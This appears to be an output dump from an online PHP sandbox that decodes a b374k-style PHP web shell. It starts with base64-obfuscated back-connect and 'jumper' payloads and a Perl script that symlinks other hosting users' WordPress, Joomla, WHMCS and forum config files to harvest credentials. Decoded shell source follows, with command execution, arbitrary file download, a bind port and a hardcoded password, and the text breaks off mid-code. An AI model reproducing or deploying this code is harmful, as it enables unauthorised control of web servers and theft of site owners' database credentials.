tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0 LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB +hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8="; $back_connect="fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw=="; $back_connect_c="XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95 zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75 i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F 6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw=="; //JUMPING $jumper="3VTLbtswELwHyD+sCQOkEEdykkMAW5YLBOnRBZoeWiSGSotUxEISBZLOo0E/qH/ZXSl24h76AYUgQd6Z2V3OrqyLygJLg9zUGopaer+4Y0WjNvbpjmVpcHgrKGztO9kidI5RNofjIzH2DSzAtCa/10FwL0udN1ZpHsFiAdMIlsgaSNyWJZ+BMlqwa+esm8HNjo7wpzZNgsrw4ehBrWTHR6kyD/uOTFtarHyb52ft5UURjG3BV7qu4eEiPoeUutuT7+WzpOYlVE6XC77kGYvHTyvZ6JilicQixM/gptPeyBqulcGMqzxfpwlWzeCv6j+GhPCVn60uL66+wG9gsZJBC/6NT4JptIiimMFbFZifRjAkYxHZ5XXIiZjXpjFBTDH4Ydxh+keFDpS2063giQ5FMgT5hDveK00JYvRKjeCFXATBbk/X0FsJM7iyW9V+D/BZSwXvcvzvrv6iBeu2GzRQOiefBcbGW6+dP4gUti0PAgZ/TefwWJlai1GpbSl2/kYv/dIGR0PBvfZ7ZA40CNRmcDadIm/cWaqDXHwRpJnw2TCyvokWWyZ8u0FowKcTElELyrif9GEklW10wuO9IuYJnqg2RV6Fpk74bgPEW84R6jh1SnHjc4djp+mKPisB/VHzbuurQeYnezUWf49irckgIzvpGpuTE3ovLeYtKnjNANIP3vYOafrX4Lcf7bZVMFrDbinY8nlxcKTD47DsH2DS79DGZXyY7DL7Aw=="; //config $configshell = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50JzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyIgLz4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04IiAvPg0KPHRpdGxlPlByaXY4IFNDUjwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KLm5ld1N0eWxlMSB7DQogZm9udC1mYW1pbHk6IHRhaG9tYSwgdmVyZGFuYSwgQXJpYWw7DQogZm9udC1zaXplOiBtZWRpdW07DQogY29sb3I6ICNGRkZGRkY7DQogYmFja2dyb3VuZC1jb2xvcjogIzY2NjY2NjsNCiB0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQo8L3N0eWxlPg0KPC9oZWFkPg0KJzsNCnN1YiBsaWx7DQogICAgKCR1c2VyKSA9IEBfOw0KJG1zciA9IHF4e3B3ZH07DQoka29sYT0kbXNyLiIvIi4kdXNlcjsNCiRrb2xhPX5zL1xuLy9nOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYS50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYSAtIGhvbWUudHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nLXdvcmRwcmVzcy50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd29yZHByZXNzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dlYi93cC1jb25maWcucGhwJywka29sYS4nLXdvcmRwcmVzcyAtIHdlYi50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9TU0kucGhwJywka29sYS4nLSBDIE0gRiAudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vU1NJLnBocCcsJGtvbGEuJy0gQyBNIEYgLSBmb3J1bS50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmMvY29uZmlnLnBocCcsJGtvbGEuJy0gTXlCQi50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luYy9jb25maWcucGhwJywka29sYS4nLSBNeUJCIC0gZm9ydW0udHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywka29sYS4nLSBPdGhlci50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2xpYi9jb25maWcucGhwJywka29sYS4nLSBCYWxpdGJhbmcudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWNsaWVudHMudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnQudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1iaWxsaW5nLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmdzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSB3aG1jcyAtIHdobWNzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gd2htIC0gd2htLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLSBWQnVsbGV0aW4gLSBmb3J1bS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vY29uZmlnLnBocCcsJGtvbGEuJwktIFBocEJCIC0gZm9ydW0udHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSB3aG1jIC0gd2htYy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VibWl0dGlja2V0LnBocCcsJGtvbGEuJwktIHdobWNzMi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFuYWdlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nCS1tYW5nZXdobWNzLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbXlzaG9wL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nCS1teXNob3AudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1cHBvcnQudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnRzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1cHBvcnRzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vc2NvbW1lcmNlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictb3Njb21tZXJjZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvb3Njb21tZXJjZXMvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1vc2NvbW1lcmNlcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2hvcHBpbmcvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1zaG9wLXNob3BwaW5nLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zYWxlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictc2FsZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYW1lbWJlci9jb25maWcuaW5jLnBocCcsJGtvbGEuJy1hbWVtYmVyLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcuaW5jLnBocCcsJGtvbGEuJy1hbWVtYmVyMi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gd3AudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd3dvcmRwcmVzcyAtIHdwIC0gYmV0YS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmV0YS93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBiZXRhLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtcHJlc3MudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLXdvcmRwcmVzcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd29yZHByZXNzL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gd29yZHByZXNzLWJldGEudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL25ld3Mvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC1uZXdzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXcvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gbmV3LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9ncy93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBibG9ncy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9tZS93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBob21lLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcm90YWwvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gcHJvdGFsLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL3dwLWNvbmZpZy5waHAnLCRrb2xhLictIHdvcmRwcmVzcyAtIHNpdGUudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21haW4vd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gbWFpbi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdGVzdC93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSB0ZXN0LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhIC0gam9vbWxhIC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJvdGFsL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSBqb29tbGEgLSBwcm90YWwudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2pvby9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gam9vLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbXMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictIGpvb21sYSAtIGNtcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2l0ZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gc2l0ZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFpbi9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gbWFpbi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gbmV3cy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSBqb29tbGEgLSBuZXcudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvbWUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictIGpvb21sYSAtIGhvbWUudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictIHZiLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92YjMvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0gdmIzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jcGFuZWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictY3BhbmVsLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1wYW5lbC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1ob3N0LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob3N0aW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWhvc3RpbmcudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3RzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWhvc3RzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRrb2xhLictemVuY2FydC50eHQnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3plbmNhcnQvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLSB6ZW5jYXJ0IC0gc2hvcC50eHQnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Nob3AvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLXNob3AtWkNzaG9wLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvU2V0dGluZ3MucGhwJywka29sYS4nLSBzbWYudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaW
Output for 5.3.0 - 5.3.28
string(38718) "@ini_set('log_errors',0); @ini_set('output_buffering',0); if(isset($_GET['dl']) && ($_GET['dl'] != "")){ $file = $_GET['dl']; $filez = @file_get_contents($file); header("Content-type: application/octet-stream"); header("Content-length: ".strlen($filez)); header("Content-disposition: attachment; filename=\"".basename($file)."\";"); echo $filez; exit; } elseif(isset($_GET['dlgzip']) && ($_GET['dlgzip'] != "")){ $file = $_GET['dlgzip']; $filez = gzencode(@file_get_contents($file)); header("Content-Type:application/x-gzip\n"); header("Content-length: ".strlen($filez)); header("Content-disposition: attachment; filename=\"".basename($file).".gz\";"); echo $filez; exit; } // view image if(isset($_GET['img'])){ @ob_clean(); $d = magicboom($_GET['y']); $f = $_GET['img']; $inf = @getimagesize($d.$f); $ext = explode($f,"."); $ext = $ext[count($ext)-1]; @header("Content-type: ".$inf["mime"]); @header("Cache-control: public"); @header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); @header("Cache-control: max-age=".(60*60*24*7)); @readfile($d.$f); exit; } // server software $software = getenv("SERVER_SOFTWARE"); // check safemode if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") $safemode = TRUE; else $safemode = FALSE; // uname -a $system = @php_uname(); // mysql function showstat($stat) {if ($stat=="on") {return "<b><font style='color:#00FF00'>ON</font></b>";}else {return "<b><font style='color:#DD4736'>OFF</font></b>";}} function testmysql() {if (function_exists('mysql_connect')) {return showstat("on");}else {return showstat("off");}} function testcurl() {if (function_exists('curl_version')) {return showstat("on");}else {return showstat("off");}} function testwget() {if (exe('wget --help')) {return showstat("on");}else {return showstat("off");}} function testperl() {if (exe('perl -h')) {return showstat("on");}else {return showstat("off");}} // check os if(strtolower(substr($system,0,3)) == "win") $win = TRUE; else $win = FALSE; // change directory if(isset($_GET['y'])){ if(@is_dir($_GET['view'])){ $pwd = $_GET['view']; @chdir($pwd); } else{ $pwd = $_GET['y']; @chdir($pwd); } } //hdd function convertByte($s) { if($s >= 1073741824) return sprintf('%1.2f',$s / 1073741824 ).' GB'; elseif($s >= 1048576) return sprintf('%1.2f',$s / 1048576 ) .' MB'; elseif($s >= 1024) return sprintf('%1.2f',$s / 1024 ) .' KB'; else return $s .' B'; } // username, id, shell prompt and working directory if(!$win){ if(!$user = rapih(exe("whoami"))) $user = ""; if(!$id = rapih(exe("id"))) $id = ""; $prompt = $user." \$ "; $pwd = @getcwd().DIRECTORY_SEPARATOR; } else { $user = @get_current_user(); $id = $user; $prompt = $user." &gt;"; $pwd = realpath(".")."\\"; // find drive letters $v = explode("\\",$d); $v = $v[0]; foreach (range("A","Z") as $letter) { $bool = @is_dir($letter.":\\"); if ($bool) { $letters .= "<a href=\"?y=".$letter.":\\\">[ "; if ($letter.":" != $v) {$letters .= $letter;} else {$letters .= "<span class=\"gaya\">".$letter."</span>";} $letters .= " ]</a> "; } } } function testoracle() { if (function_exists('ocilogon')) { return showstat("on"); } else { return showstat("off"); } } function testmssql() { if (function_exists('mssql_connect')) { return showstat("on"); } else { return showstat("off"); } } function getrealip(){ if (!empty($_SERVER['HTTP_CLIENT_IP'])) { $ip=$_SERVER['HTTP_CLIENT_IP']; }elseif (!empty($SERVER['HTTP_X_FORWARDED_FOR'])) //TO CHEK IP IS PASS FROM PROXY { $ip=$_SERVER['HTTP_X_FORWARDED_FOR']; }else { $ip=$_SERVER['REMOTE_ADDR']; } return $ip; } function showdisablefunctions() { if ($disablefunc=@ini_get("disable_functions")){ return "<span style='color:#DD4736'><b>".$disablefunc."</b></span>"; } else { return "<span style='color:#00FF00'><b>NONE</b></span>"; } } if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE; else $posix = FALSE; // server ip $server_ip = @gethostbyname($_SERVER["HTTP_HOST"]); // your ip ;-) $my_ip = $_SERVER['REMOTE_ADDR']; $admin_id=$_SERVER['SERVER_ADMIN']; $bindport = "13123"; $bindport_pass = "b374k"; // separate the working direcotory $pwds = explode(DIRECTORY_SEPARATOR,$pwd); $pwdurl = ""; for($i = 0 ; $i < sizeof($pwds)-1 ; $i++){ $pathz = ""; for($j = 0 ; $j <= $i ; $j++){ $pathz .= $pwds[$j].DIRECTORY_SEPARATOR; } $pwdurl .= "<a href=\"?y=".$pathz."\">".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>"; } // rename file or folder if(isset($_POST['rename'])){ $old = $_POST['oldname']; $new = $_POST['newname']; @rename($pwd.$old,$pwd.$new); $file = $pwd.$new; } if(isset($_POST['chmod'])){ $name = $_POST['name']; $value = $_POST['newvalue']; if (strlen($value)==3){ $value = 0 . "" . $value;} @chmod($pwd.$name,octdec($value)); $file = $pwd.$name;} if(isset($_POST['chmod_folder'])){ $name = $_POST['name']; $value = $_POST['newvalue']; if (strlen($value)==3){ $value = 0 . "" . $value;} @chmod($pwd.$name,octdec($value)); $file = $pwd.$name;} ////////////////////////////////// // print useful info $buff = "Software : <b>".$software."</b><br />"; $buff .= "System OS : <b>".$system."</b><br />"; if($id != "") $buff .= "ID : <b>".$id."</b><br />"; $buff .= "PHP Version : <b>".phpversion()."</b> on <b>".php_sapi_name()."</b><br />"; $buff .= "Server ip : <b>".$server_ip."</b> <span class=\"gaya\"> | </span> Your ip Surving : <b><font style='color:#DD4736'>".$my_ip."</font></b><span class=\"gaya\"> | </span> Your Real ip : <b><a href='http://www.dnsstuff.com/tools?runFromMain=".getrealip()."&toolType=traceroute' target='_blank'><font style='color:#DD4736'>".getrealip()."<font></a></b><span class=\"gaya\"> | </span> Admin : <b>".$admin_id."</b><br />"; $buff .= "Free Disk: "."<span style='color:#00FF1E'><b>".convertByte(disk_free_space("/"))." / ".convertByte(disk_total_space("/"))."</b></span><br />"; if($safemode) $buff .= "Safemode: <span class=\"gaya\"><b>ON</b></span><br />"; else $buff .= "Safemode: <span class=\"gaya\"><b>OFF</b></span><br />"; $buff .= "Disabled Functions: ".showdisablefunctions()."<br />"; $buff .= "MySQL: ".testmysql()."&nbsp;|&nbsp;MSSQL: ".testmssql()."&nbsp;|&nbsp;Oracle: ".testoracle()."&nbsp;|&nbsp;Perl: ".testperl()."&nbsp;|&nbsp;cURL: ".testcurl()."&nbsp;|&nbsp;WGet: ".testwget()."<br>"; $buff .= "<font color=00ff00 ><b>".$letters."&nbsp;&gt;&nbsp;".$pwdurl."</b></font>"; function rapih($text){ return trim(str_replace("<br />","",$text)); } function magicboom($text){ if (!get_magic_quotes_gpc()) { return $text; } return stripslashes($text); } function showdir($pwd,$prompt){ $fname = array(); $dname = array(); if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE; else $posix = FALSE; $user = "????:????"; if($dh = @scandir($pwd)){ foreach($dh as $file){ if(is_dir($file)){ $dname[] = $file; } elseif(is_file($file)){ $fname[] = $file; } } } else{ if($dh = @opendir($pwd)){ while($file = @readdir($dh)){ if(@is_dir($file)){ $dname[] = $file; } elseif(@is_file($file)){ $fname[] = $file; } } @closedir($dh); } } sort($fname); sort($dname); $path = @explode(DIRECTORY_SEPARATOR,$pwd); $tree = @sizeof($path); $parent = ""; $buff = " <form action=\"?y=".$pwd."&amp;x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\"> <table class=\"cmdbox\" style=\"width:50%;\"> <tr><td><b>$prompt</b></td><td><input onMouseOver=\"this.focus();\" id=\"cmd\" class=\"inputz\" type=\"text\" name=\"cmd\" style=\"width:400px;\" value=\"\" /><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr> </form> <form action=\"?\" method=\"get\" style=\"margin:8px 0 0 0;\"> <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> <tr><td><b>view file/folder</b></td><td><input onMouseOver=\"this.focus();\" id=\"goto\" class=\"inputz\" type=\"text\" name=\"view\" style=\"width:400px;\" value=\"".$pwd."\" /><input class=\"inputzbut\" type=\"submit\" value=\"View !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr> </form></table><table class=\"explore\"> <tr><th>name</th><th style=\"width:80px;\">size</th><th style=\"width:210px;\">owner:group</th><th style=\"width:80px;\">perms</th><th style=\"width:110px;\">modified</th><th style=\"width:190px;\">actions</th></tr> "; if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR; else $parent = $pwd; foreach($dname as $folder){ if($folder == ".") { if(!$win && $posix){ $name=@posix_getpwuid(@fileowner($folder)); $group=@posix_getgrgid(@filegroup($folder)); $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name']; } else { $owner = $user; } $buff .= "<tr><td><a href=\"?y=".$pwd."\">$folder</a></td><td>LINK</td> <td style=\"text-align:center;\">".$owner."</td><td><center>".get_perms($pwd)."</center></td> <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($pwd))."</td><td><span id=\"titik1\"> <a href=\"?y=$pwd&amp;edit=".$pwd."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a></span> <form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" /> <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" /> </form></td> </tr> "; } elseif($folder == "..") { if(!$win && $posix){ $name=@posix_getpwuid(@fileowner($folder)); $group=@posix_getgrgid(@filegroup($folder)); $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name']; } else { $owner = 